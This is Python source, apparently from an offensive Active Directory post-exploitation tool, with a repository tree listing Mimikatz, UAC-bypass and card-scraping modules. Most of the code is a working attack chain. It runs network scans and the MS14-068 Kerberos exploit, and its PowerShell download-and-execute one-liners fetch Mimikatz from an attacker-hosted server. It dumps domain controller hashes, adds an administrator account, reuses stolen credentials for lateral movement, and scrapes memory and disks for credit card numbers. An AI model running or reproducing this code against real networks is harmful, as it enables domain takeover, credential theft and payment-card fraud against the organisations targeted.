powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+" \"IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/get-applicationhost.ps1\'); Get-ApplicationHost | Format-Table -Autosize\""
if verbose==True:
print command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, powershellCmdStart+command)
print results
tmpResultList=results.split("\n")
username=""
domain=""
password=""
if "Appcmd.exe does not exist in the default location" not in str(results):
return tmpResultList
else:
return []
#def dumpBrowserCreds():
#powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/sekirkity/BrowserGather/master/BrowserGather.ps1'); Get-ChromeCreds | format-list *"
#powershell "IEX(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/et0x/Get-ChromePasswords/master/Get-ChromePasswords.ps1””
def localPrivEscalation():
cmd='powershell "IEX (New-Object Net.WebClient).DownloadString(\'http://is.gd/fVC1Yd\'); Invoke-Tater -Trigger 1 -Command ""net user tater Winter2016 /add && net localgroup administrators tater /add"""'
print cmd
return True
def setDateTime(date1):
cmd = 'date -s "'+date1+'"'
runCommand1(cmd)
def compareTime(date1,date2):
tmpDate1=[]
tmp1=date1.split(" ")
count=0
for x in tmp1:
if len(x)>0:
if count==2:
day1=x
if count==1:
mth1=convertMth(x)
if (x.count(":"))>1:
time1=x
count+=1
year1=tmp1[-1]
hour1=time1.split(":")[0]
min1=time1.split(":")[1]
tmpDate2=[]
tmp2=date2.split(" ")
count=0
for x in tmp2:
if len(x)>0:
if count==2:
day2=x
if count==1:
mth2=convertMth(x)
if (x.count(":"))>1:
time2=x
count+=1
year2=tmp2[-1]
hour2=time2.split(":")[0]
min2=time2.split(":")[1]
if year1==year2 and mth1==mth2 and day1==day2 and hour1==hour2:
if (int(min1)-int(min2)<5):
return True
else:
return False
else:
newDateTime=day1+" "+convertMthNum(mth1)+" "+year1+" "+time1
setDateTime(newDateTime)
return False
def isOpen(ip,port):
global liveList
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, int(port)))
if [ip,port] not in liveList:
liveList.append([ip,port])
s.close()
complete=True
return True
except Exception as e:
return False
def scanThread(ip, port):
try:
t = threading.Thread(target=isOpen, args=(ip, port))
t.start()
except Exception as e:
pass
def syncDateTime(dateTime1):
print "[*] Syncing Date/Time with Remote DC"
mth1=dateTime1.split(" ")[1]
day1=dateTime1.split(" ")[0]
year1=dateTime1.split(" ")[-1]
time1=dateTime1.split(" ")[4]
hour1=time1.split(":")[0]
minute1=time1.split(":")[1]
sec1=time1.split(":")[2]
cmd='timedatectl set-ntp 0'
resultList = runCommand(cmd, shell = True, timeout = 30)
cmd='date --set '+year1+'-'+convertMth(mth1)+'-'+day1
resultList = runCommand(cmd, shell = True, timeout = 30)
cmd='date --set '+hour1+':'+minute1+':'+sec1
resultList = runCommand(cmd, shell = True, timeout = 30)
def convertMth(text):
if text=="Jan":
return "1"
if text=="Feb":
return "2"
if text=="Mar":
return "3"
if text=="Apr":
return "4"
if text=="May":
return "5"
if text=="Jun":
return "6"
if text=="Jul":
return "7"
if text=="Aug":
return "8"
if text=="Sep":
return "9"
if text=="Oct":
return "10"
if text=="Nov":
return "11"
if text=="Dec":
return "12"
def convertMthNum(text):
if text=="1":
return "Jan"
if text=="2":
return "Feb"
if text=="3":
return "Mar"
if text=="4":
return "Apr"
if text=="5":
return "May"
if text=="6":
return "Jun"
if text=="7":
return "Jul"
if text=="8":
return "Aug"
if text=="9":
return "Sep"
if text=="10":
return "Oct"
if text=="11":
return "Nov"
if text=="12":
return "Dec"
def testMS14_068(ip,domain,username,password,passwordHash):
tmpPassList=[]
tmpHashList=[]
domain,domainFull=reverseLookup(ip)
n = NetBIOS(broadcast=True, listen_port=0)
netbiosName=''
try:
netbiosName=n.queryIPForName(ip)[0]
except Exeception as e:
pass
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
print (setColor("\nTesting MS14-068", color="green"))
#print (setColor("\nTesting MS14-068", bold, color="red"))
dateTime1=str(checkRemoteTime(ip))
dateTime2=str(checkCurrentTime())
if compareTime(dateTime1,dateTime2)==True:
print "[*] Time sync between host and remote server: "+(setColor("OK", bold, color="green"))
else:
print "[*] Time sync between host and remote server: "+(setColor("Failed", bold, color="red"))
syncDateTime(dateTime1)
hashes=None
w=None
target_ip=ip
dc_ip=ip
address=netbiosName
command=powershellPath+" "+powershellArgs+" IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/Invoke-Mimikatz.ps1\'); Invoke-Mimikatz -DumpCreds"
dumper=MS14_068(address,target_ip, username, password, domainFull, None, command, None, None, dc_ip)
try:
dumper.exploit()
tmpPasswordList=parseMimikatzOutput(dumper.getOutput())
if len(tmpPasswordList)>0:
print "\nTesting Credentials"
for y in tmpPasswordList:
tmpdomain=y[0]
tmpusername=y[1]
tmppassword=y[2]
tmppasswordHash=None
tmpLoginOK,tmpAdminOK=testDomainCredentials(tmpusername,tmppassword,tmppasswordHash,dcList[0],tmpdomain)
if tmpAdminOK==True:
if y not in daPassList:
daPassList.append(y)
tmpPassList.append(y)
except Exception as e:
pass
dumper=None
command=powershellPath+" "+powershellArgs+" IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/Get-PasswordFile.ps1\'); Get-PasswordFile '\\\\"+myIP+"\\guest'"
dumper=MS14_068(address,target_ip, username, password, domainFull, None, command, None, None, dc_ip)
try:
dumper.exploit()
except Exception as e:
pass
dumper=None
if not os.path.exists(origScriptPath+"/system") or not os.path.exists(origScriptPath+"/ntds"):
print (setColor("[-]", bold, color="red"))+" Unable to find NTDS.dll and SYSTEM hive"
else:
print (setColor("[+]", bold, color="green"))+" Downloading NTDS.dll and SYSTEM hive"
print (setColor("[+]", bold, color="green"))+" Converting NTDS.dll to NTLM hashes"
cmd="/pentest/libesedb/esedbtools/esedbexport -t /tmp/ "+origScriptPath+"/ntds"
resultList = runCommand(cmd, shell = True, timeout = 120)
time.sleep(2)
outputFilename="/tmp/NT.out"
cmd="python /pentest/ntdsxtract/dsusers.py /tmp/ntds.export/datatable.3 /tmp/ntds.export/link_table.5 /tmp --passwordhashes --lmoutfile /tmp/LM.out --ntoutfile "+outputFilename+" --pwdformat john --syshive "+origScriptPath+"/system"
resultList = runCommand(cmd, shell = True, timeout = 120)
if os.path.exists(outputFilename):
with open(outputFilename) as f:
lines = f.read().splitlines()
for x in lines:
if x not in tmpHashList:
tmpHashList.append(x)
if len(tmpHashList)>0:
dcCompromised=True
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
print (setColor("\n[+]", bold, color="green"))+" List of NTLM Hashes"
for x in tmpHashList:
tmpusername=x.split(":")[0]
tmphash="aad3b435b51404eeaad3b435b51404ee:"+(x.split(":")[1]).split("$")[2]
tmpuid=(x.split(":")[2]).split("-")[7]
print tmpusername+":"+str(tmpuid)+":"+tmphash+":::"
if [ip,domain,tmpusername,tmphash] not in userHashList:
userHashList.append([ip,domain,tmpusername,tmphash])
if tmpusername.lower()=="administrator":
if len(domain)<1:
domain="WORKGROUP"
if [ip,domain,tmpusername,tmphash] not in accessAdmHostList:
accessAdmHostList.append([ip,domain,tmpusername,tmphash])
#accessAdmHostList.append()
return tmpPassList,tmpHashList
def cardLuhnChecksumIsValid(card_number):
""" checks to make sure that the card passes a luhn mod-10 checksum """
sum = 0
num_digits = len(card_number)
oddeven = num_digits & 1
for count in range(num_digits):
digit = int(card_number[count])
if not (( count & 1 ) ^ oddeven):
digit = digit * 2
if digit > 9:
digit = digit - 9
sum = sum + digit
return (sum % 10) == 0
def addPasswords(tmpPasswordList):
for x in tmpPasswordList:
tmpdomain=x[0]
tmpusername=x[1]
tmppassword=x[2]
if len(tmppassword)>0 and tmppassword!='(null':
if [tmpdomain,tmpusername,tmppassword] not in userPassList:
userPassList.append([tmpdomain,tmpusername,tmppassword])
def addHashes(tmpHashList):
for x in tmpHashList:
tmpusername=x.split(":")[0]
tmphash=x.split(":")[2]+":"+x.split(":")[3]
if "\\" in tmpusername:
tmpusername=tmpusername.split("\\")[1]
tmpdomain=tmpusername.split("\\")[0]
if len(tmpdomain)<1:
tmpdomain='WORKGROUP'
#print "domain : "+tmpdomain
if [ip,tmpdomain,tmpusername,tmphash] not in userHashList:
userHashList.append([ip,tmpdomain,tmpusername,tmphash])
else:
tmpdomain=getNetBiosName(ip)
if len(tmpdomain)<1:
tmpdomain='WORKGROUP'
#print "domain1 : "+tmpdomain
if [ip,tmpdomain,tmpusername,tmphash] not in userHashList:
userHashList.append([ip,tmpdomain,tmpusername,tmphash])
def accessRemoteShare(targetIP,filePath,domain, username, password):
complete=False
status=False
while complete==False:
try:
conn = None
conn = SMBConnection1(username,password,client_machine_name,targetIP,domain=domain,use_ntlm_v2=True,is_direct_tcp=True)
connected = conn.connect(targetIP, 445)
shareName=filePath.split("/")[0]
subDirectory=filePath.replace(shareName,"")
sharedfiles = conn.listPath(shareName, subDirectory)
conn = None
complete=True
status=True
except Exception as e:
if "Unknown status value" in str(e):
complete=False
else:
complete=True
status=False
return status
def my_tcp_server():
port=8000
server = ThreadingSimpleServer(('', port), SimpleHTTPRequestHandler)
addr, port = server.server_address
#print("Serving HTTP on %s port %d ..." % (addr, port))
try:
while 1:
sys.stdout.flush()
server.handle_request()
except KeyboardInterrupt:
print "Finished"
parser = argparse.ArgumentParser(
prog='PROG',
formatter_class=argparse.RawDescriptionHelpFormatter,
description=('''\
1UP
+-- https://github.com/milo2012/1UP
'''))
#parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-d", type=str, dest="domain", help="Domain Name")
parser.add_argument("-u", type=str, dest="username", help="Username")
parser.add_argument("-p", type=str, dest="password", help="Password")
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
mcgroup = parser.add_mutually_exclusive_group()
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
parser.add_argument("-v", "--verbose", action='store_true', help="Verbose mode")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if len(args.target)<1:
print "[!] Please set a target"
sys.exit()
if args.verbose:
verbose=True
if args.domain:
domain=args.domain
if args.username:
username=args.username
if args.password:
password=args.password
if not args.domain or not args.username or not args.password:
print (setColor("[!]", bold, color="red"))+" Please provide the domain, username and password"
sys.exit()
#print args.target
#for target in args.target:
# print target
#sys.exit()
if args.list_modules:
tmpResultList=[]
tmpResultList.append(['pan','Dump and search PAN numbers from disks and memory'])
tmpResultList.append(['shares','Find the correct account credentials to access shares/folders'])
tmpResultList.append(['passwords','Find passwords'])
print tabulate(tmpResultList)
os._exit(0)
input=args.target[0]
if "/" in input:
for x in IPNetwork(input):
if str(x) not in ipList:
if str(x) not in ipList:
ipList.append(str(x))
else:
if os.path.exists(input):
with open(input) as f:
lines = f.read().splitlines()
for x in lines:
if "/" in x:
for y in IPNetwork(x):
if str(y) not in ipList:
if str(y) not in ipList:
ipList.append(str(y))
else:
if x not in ipList:
ipList.append(x)
if demo==True:
setDemo()
cmd="rm -rf /tmp/.export"
runCommand(cmd, shell = True, timeout = 30)
cmd="rm -rf /tmp/ntds.export"
runCommand(cmd, shell = True, timeout = 30)
cmd="rm "+os.getcwd()+"/system"
runCommand(cmd, shell = True, timeout = 30)
cmd="rm "+os.getcwd()+"/NTDS"
runCommand(cmd, shell = True, timeout = 30)
passwordHash=None
portList=[]
portList.append("389")
portList.append("445")
portList.append("1433")
portList.append("3389")
ipListStr=", ".join(ipList)
print (setColor("[*]", bold, color="green"))+" Scanning Target Network"
#ip='172.16.126.143'
myIP=get_ip_address()
#os.system("cd "+os.getcwd()+"/modules && python -m SimpleHTTPServer & > /dev/null 2>&1")
#Web server for powershell scripts
web_dir = os.getcwd()+"/modules"
os.chdir(web_dir)
threading.Thread(target=my_tcp_server).start()
import resource
resource.setrlimit(resource.RLIMIT_NOFILE, (1024, 3000))
screenLock = threading.Semaphore(value=3)
for port in portList:
for x in ipList:
scanThread(x, port)
for x in liveList:
hostNo=x[0]
portNo=x[1]
#if portNo=='3389':
# if hostNo!=myIP:
# rdpList.append(hostNo)
if portNo=='1433':
if hostNo!=myIP:
mssqlList.append(hostNo)
if portNo=='3389':
rdpList.append(hostNo)
if portNo=='445':
if hostNo not in dcList:
if hostNo!=myIP:
nbList.append(hostNo)
if portNo=='389':
dcList.append(hostNo)
if hostNo in nbList:
nbList.remove(hostNo)
if len(dcList)<1 and len(rdpList)<1 and len(nbList)<1:
print "[+] No Domain Controllers/NetBIOS/RDP ports detected on target hosts"
sys.exit()
else:
print (setColor("\n[+]", bold, color="green"))+" Found the below hosts"
for x in dcList:
print x+" [DC]"
if x not in uncompromisedHostList:
uncompromisedHostList.append(x)
for x in nbList:
print x+" [NBNS]"
if x not in uncompromisedHostList:
uncompromisedHostList.append(x)
for x in rdpList:
print x+" [RDP]"
for x in mssqlList:
print x+" [MSSQL]"
print "\n"
#print (setColor("\nPlease try to login into the below RDP servers manually and run the below commands", bold, color="red"))
#for ip in rdpList:
# localPrivEscalation()
# print "\n"
isDomainAccount=False
#logging.getLogger().setLevel(logging.INFO)
#logging.getLogger().setLevel(logging.CRITICAL)
logging.getLogger().setLevel(logging.ERROR)
logging.disabled = False
passwordHash=None
if len(dcList)>0:
isDA=getDomainAdminUsers(username,password,dcList[0])
if domain.lower()!="workgroup":
if len(dcList)>0:
ip=dcList[0]
continueOK=False
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,ip,domain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
continueOK=True
if continueOK==True:
for ip in nbList:
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,ip,domain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(ip,domain,username,password)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
dcCompromised=True
analyzeHashes(tmpHashList)
if optionTokenPriv==True:
print (setColor("\nEnumerating Tokens and Attempting Privilege Escalation", bold, color="green"))
tokensPriv(ip,domain,username,password,passwordHash)
else:
for ip in dcList:
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,ip,domain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
if dcCompromised==False:
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(ip,domain,tmpusername,tmppassword)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
for ip in dcList:
if [ip, domain, tmpusername, tmppassword] not in accessAdmHostList:
accessAdmHostList.append([ip, domain, tmpusername, tmppassword])
dcCompromised=True
analyzeHashes(tmpHashList)
if optionTokenPriv==True:
print (setColor("\nEnumerating Tokens and Attempting Privilege Escalation", bold, color="green"))
tokensPriv(ip,domain,username,password,passwordHash)
for ip in nbList:
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,ip,domain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(ip,domain,username,password)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
dcCompromised=True
analyzeHashes(tmpHashList)
if optionTokenPriv==True:
print (setColor("\nEnumerating Tokens and Attempting Privilege Escalation", bold, color="green"))
tokensPriv(ip,domain,username,password,passwordHash)
'''
if len(accessAdmHostList):
print "\nADMIN$ Access on the Below Hosts"
print tabulate(accessAdmHostList)
if len(accessOKHostList):
print "\nCredentials Valid on the Below Hosts"
print tabulate(accessOKHostList)
'''
if len(dcList)>0:
for ip in dcList:
#isDA=getDomainAdminUsers(username,password,ip)
if isDA==True:
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
if isDA==False:
print (setColor("\nChecking SYSVOL for Credentials", color="green"))
mountSysvol(username,password)
if optionMS14068==True:
tmpPassList,tmpHashList=testMS14_068(ip,domain,username,password,passwordHash)
if len(tmpPassList)>0 or len(tmpHashList)>0:
for x in tmpHashList:
hashList.append(x)
for x in tmpPassList:
passList.append(x)
for x in tmpPassList:
tmpusername=x[1]
tmppassword=x[2]
if dcCompromised==False:
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(dcList[0],domain,tmpusername,tmppassword)
addHashes(tmpHashList)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if dcList[0] in uncompromisedHostList:
uncompromisedHostList.remove(dcList[0])
for dc in dcList:
if [dc, domain, tmpusername, tmppassword] not in accessAdmHostList:
accessAdmHostList.append([dc, domain, tmpusername, tmppassword])
dcCompromised=True
analyzeHashes(tmpHashList)
else:
for ip in nbList:
tmpFound=False
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,ip,domain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(ip,domain,username,password)
addHashes(tmpHashList)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
dcCompromised=True
analyzeHashes(tmpHashList)
if optionTokenPriv==True:
print (setColor("\nEnumerating Tokens and Attempting Privilege Escalation", bold, color="green"))
tokensPriv(ip,domain,username,password,passwordHash)
if len(uncompromisedHostList)>0:
print (setColor("\nReusing Credentials and Hashes For Lateral Movement in the Network", bold, color="green"))
complete=False
while complete==False:
if len(uncompromisedHostList)<1:
complete=True
else:
for y in uncompromisedHostList:
if len(userPassList)>0:
for x in userPassList:
if y in uncompromisedHostList:
tmpip=y
tmpdomain=x[0]
tmpusername=x[1]
tmppassword=x[2]
tmphash=None
#if (tmpusername.lower()).strip()=="administrator":
if len(tmppassword)>0 and tmppassword!='(null)':
tmpLoginOK,tmpAdminOK=testDomainCredentials(tmpusername,tmppassword,None,tmpip,tmpdomain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
tmpPasswordList=runMimikatz(tmpip,tmpdomain,tmpusername,tmppassword,tmphash)
for z in tmpPasswordList:
if z not in userPassList:
userPassList.append(z)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+tmpip
tmpHashList=dumpDCHashes(tmpip,tmpdomain,tmpusername,tmppassword)
addHashes(tmpHashList)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if tmpip in uncompromisedHostList:
uncompromisedHostList.remove(tmpip)
if optionTokenPriv==True:
print (setColor("\nEnumerating Tokens and Attempting Privilege Escalation", bold, color="green"))
tokensPriv(tmpip,tmpdomain,tmpusername,tmppassword,tmphash)
if len(userHashList)>0:
for x in userHashList:
if y in uncompromisedHostList:
tmpip=y
tmpdomain=x[1]
tmpusername=x[2]
tmppasswordHash=x[3]
tmppassword=None
tmpLoginOK,tmpAdminOK=testDomainCredentials(tmpusername,tmppassword,tmppasswordHash,tmpip,tmpdomain)
if tmpLoginOK==True:
if [domain,username,password] not in userPassList:
userPassList.append([domain,username,password])
if tmpAdminOK==True:
if (tmpusername.lower()).strip()=="administrator":
tmpPasswordList=runMimikatz(tmpip,tmpdomain,tmpusername,tmppassword,tmppasswordHash)
for y in tmpPasswordList:
tmpdomain=y[0]
tmpusername=y[1]
tmppassword=y[2]
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+tmpip
tmpHashList=dumpDCHashes(tmpip,tmpdomain,tmpusername,tmppassword)
addHashes(tmpHashList)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if y not in userPassList:
userPassList.append(y)
if tmpip in uncompromisedHostList:
uncompromisedHostList.remove(tmpip)
print (setColor("\nList of Passwords in Database", bold, color="green"))
if len(userPassList)<1:
print "No passwords found"
else:
print tabulate(userPassList)
print (setColor("\nList of Hashes in Database", bold, color="green"))
if len(userHashList)<1:
print "No hashes found"
else:
print tabulate(userHashList)
print (setColor("\nList of Hosts Uncompromised", bold, color="green"))
if len(uncompromisedHostList)>0:
for x in uncompromisedHostList:
print x
else:
print "All hosts have been compromised"
complete=True
print (setColor("\nAdmin Access on the Below Hosts", bold, color="green"))
print tabulate(accessAdmHostList)
if args.module=="pan":
tmpResultList=[]
for x in accessAdmHostList:
ip=x[0]
domain=x[1]
username=x[2]
if len(x[3])==65 and x[3].count(":")==1:
passwordHash=x[3]
password=None
else:
password=x[3]
results=diskCredDump(ip,domain,username,password,passwordHash)
for x in results:
x=x.strip()
if len(x)>0:
tmpResultList.append([ip,x])
if len(tmpResultList)>0:
print (setColor("\nSearch Drives for PAN Numbers", bold, color="green"))
print tabulate(tmpResultList,tablefmt="simple")
if len(accessAdmHostList)>0:
print (setColor("\nProcesses Running on Hosts", bold, color="green"))
dict={}
for x in accessAdmHostList:
ip=x[0]
domain=x[1]
username=x[2]
password=x[3]
tmpResultList=listProcesses(ip,domain, username, password)
tmpResultList1=[]
for y in tmpResultList:
if len(y)>0:
if [y,ip] not in tmpResultList1:
tmpResultList1.append([y,ip])
for y in tmpResultList1:
try:
tmpStr=dict[y[0]]
tmpStr+=", "+y[1]
dict[y[0]]=tmpStr
except KeyError:
dict[y[0]]=y[1]
tmpResultList2=[]
tmpCount=1
for key, value in dict.iteritems():
tmpResultList2.append([tmpCount,key,value])
tmpCount+=1
print tabulate(tmpResultList2)
print "[*] Please enter a number or enter '*' to dump and search all processes"
tmpCount=3
print selectedHostList
selectedOption=(raw_input()).strip()
selectedProcess=''
selectedHostList=[]
for x in tmpResultList2:
if selectedOption==x[0] or selectedOption=="*":
print x
selectedProcess=x[1]
tmpSelectedHosts=x[2]
if "," in tmpSelectedHosts:
tmpList1=tmpSelectedHosts.split(",")
for g in tmpList1:
g=g.strip()
selectedHostList.append(g)
else:
selectedHostList.append(x[2])
print (setColor("\nSearching Memory for PAN Numbers", bold, color="green"))
for x in accessAdmHostList:
ip=x[0]
domain=x[1]
username=x[2]
password=x[3]
if ip in selectedHostList:
command='del %temp%\mem_output.txt /F /Q'
results=runWMIEXEC(ip,domain,username,password,passwordHash,command)
print "Dumping Process: "+selectedProcess+" on Host: "+ip
tmpResultList=memCredDump(ip,domain,username,password,passwordHash,selectedProcess)
print "\nValidating PAN Numbers"
command='type %temp%\mem_output.txt'
results=runWMIEXEC(ip,domain,username,password,passwordHash,command)
tmpResultList1=[]
tmpResultList=results.split("\n")
count=0
for x in tmpResultList:
x=x.strip()
if "POSSIBLE CARD NUM: " in x:
x=(x.split("POSSIBLE CARD NUM: ")[1]).strip()
if x>1:
cardNo=x
if cardLuhnChecksumIsValid(cardNo)==True:
tmpResultList1.append(tmpResultList[count-1])
tmpResultList1.append(tmpResultList[count])
count+=1
if len(tmpResultList1)>0:
for x in tmpResultList1:
print x
command='del %temp%\mem_output.txt /F /Q'
results=runWMIEXEC(ip,domain,username,password,passwordHash,command)
if args.module=="shares":
#python ms14_068.py 172.16.126.0/24 -d corp -u milo -p Password1 -M shares -o host=172.16.126.176
svrFilterList=[]
if args.module_options:
if "host=" in args.module_options[0]:
tmpip=(args.module_options[0]).replace("host=","")
svrFilterList.append(tmpip)
#if len(accessAdmHostList)>0:
if len(accessAdmHostList)>0:
tmpBlackList=[]
tmpBlackList.append("Application Data")
tmpBlackList.append("Cookies")
tmpBlackList.append("Local Settings")
tmpBlackList.append("NetHood")
tmpBlackList.append("PrintHood")
tmpBlackList.append("Recent")
tmpBlackList.append("Start Menu")
tmpBlackList.append("Templates")
tmpBlackList.append("SendTo")
tmpBlackList.append("Videos")
tmpBlackList.append("Pictures")
tmpBlackList.append("Music")
tmpBlackList.append("Saved Games")
tmpBlackList.append("Searches")
tmpBlackList.append("Links")
tmpBlackList.append("Contacts")
tmpBlackList.append("ProgramData")
tmpBlackList.append("Program Files")
tmpBlackList.append("Program Files (x86)")
if args.module_options:
tmpFound=False
for x in accessAdmHostList:
tmpip=x[0]
if tmpip in svrFilterList:
tmpFound=True
print (setColor("\nTesting Access to Shared Folders", bold, color="green"))
if tmpFound==False:
print "No suitable hosts found"
else:
print (setColor("\nTesting Access to Shared Folders", bold, color="green"))
for x in accessAdmHostList:
headers = ["IP", "Share/File","Status","Credentials"]
tmpip=x[0]
tmpdomain=x[1]
tmpusername=x[2]
tmppassword=x[3]
try:
if len(svrFilterList)>0:
if tmpip in svrFilterList:
allowedList, deniedList=listRemoteShare(tmpip,tmpdomain, tmpusername, tmppassword)
else:
allowedList, deniedList=listRemoteShare(tmpip,tmpdomain, tmpusername, tmppassword)
tmpOKList=[]
tmpFailedList=[]
credStr=tmpusername+"|"+tmppassword
if len(allowedList)>0:
for x in allowedList:
tmpFound=False
for g in tmpBlackList:
if g.lower() in x[3].lower():
tmpFound=True
if tmpFound==False:
tmpOKList.append([x[0],str(x[3]),"[OK]",credStr])
if len(deniedList)>0:
for x in deniedList:
tmpFailedList.append([x[0],str(x[3]),"[FAILED]"])
if len(tmpFailedList)>0:
tmpUserPassList=[]
if len(userPassList)>0:
print "Testing credentials"
for z in userPassList:
tmpLoginOK,tmpAdminOK=testDomainCredentials(z[1],z[2],None,tmpip,z[0])
if tmpLoginOK==True:
tmpUserPassList.append(z)
if len(tmpFailedList)>0:
print "\nTesting access"
for z in tmpFailedList:
tmpFound=False
if tmpFound==False:
for y in tmpUserPassList:
try:
targetIP=z[0]
filePath=z[1]
tmpdomain=y[0]
tmpusername=y[1]
tmppassword=y[2]
#if filePath=="share/
gitextract_ojbmoonk/ ├── README.md ├── deps/ │ ├── __init__.py │ ├── goldenPac.py │ ├── ms08-067_check.py │ ├── ms08_067.py │ ├── ms14_068.py │ ├── ndr.py │ ├── psexec.py │ ├── secretsdump.py │ ├── smb_exploit.py │ ├── smbexec.py │ └── wmiexec.py ├── install.sh ├── modules/ │ ├── BrowserGather.ps1 │ ├── Bypass-UAC.ps1 │ ├── Get-FoxDump.ps1 │ ├── Get-PasswordFile.ps1 │ ├── Get-SQLServiceAccountPwHash3.ps1 │ ├── Get-VaultCredential.ps1 │ ├── Inveigh.ps1 │ ├── Invoke-Mimikatz.ps1 │ ├── Invoke-TokenManipulation.ps1 │ ├── KeeThief.ps1 │ ├── PowerUpSQL.ps1 │ ├── PowerUpSQL.psd1 │ ├── PowerUpSQL.psm1 │ ├── SessionGopher.ps1 │ ├── WiFi-Password.psm1 │ ├── credit-card-finder.ps1 │ ├── get-applicationhost.ps1 │ └── mem_scraper.ps1 └── portia.py
SYMBOL INDEX (600 symbols across 11 files)
FILE: deps/goldenPac.py
class RemComMessage (line 84) | class RemComMessage(Structure):
class RemComResponse (line 94) | class RemComResponse(Structure):
class PSEXEC1 (line 107) | class PSEXEC1:
method __init__ (line 108) | def __init__(self, command, username, domain, smbConnection, TGS, copy...
method run (line 118) | def run(self, addr):
method openPipe (line 218) | def openPipe(self, s, tid, pipe, accessMask):
class Pipes (line 238) | class Pipes(Thread):
method __init__ (line 239) | def __init__(self, transport, pipe, permissions, TGS=None, share=None):
method connectPipe (line 253) | def connectPipe(self):
class RemoteStdOutPipe (line 271) | class RemoteStdOutPipe(Pipes):
method __init__ (line 272) | def __init__(self, transport, pipe, permisssions):
method run (line 275) | def run(self):
class RemoteStdErrPipe (line 300) | class RemoteStdErrPipe(Pipes):
method __init__ (line 301) | def __init__(self, transport, pipe, permisssions):
method run (line 304) | def run(self):
class RemoteShell (line 318) | class RemoteShell(cmd.Cmd):
method __init__ (line 319) | def __init__(self, server, port, credentials, tid, fid, TGS, share):
method connect_transferClient (line 334) | def connect_transferClient(self):
method do_help (line 340) | def do_help(self, line):
method do_shell (line 350) | def do_shell(self, s):
method do_get (line 355) | def do_get(self, src_path):
method do_put (line 372) | def do_put(self, s):
method do_lcd (line 398) | def do_lcd(self, s):
method emptyline (line 408) | def emptyline(self):
method default (line 412) | def default(self, line):
method send_data (line 416) | def send_data(self, data, hideOutput = True):
class RemoteStdInPipe (line 428) | class RemoteStdInPipe(Pipes):
method __init__ (line 429) | def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
method run (line 432) | def run(self):
class MS14_068 (line 438) | class MS14_068:
class VALIDATION_INFO (line 444) | class VALIDATION_INFO(TypeSerialization1):
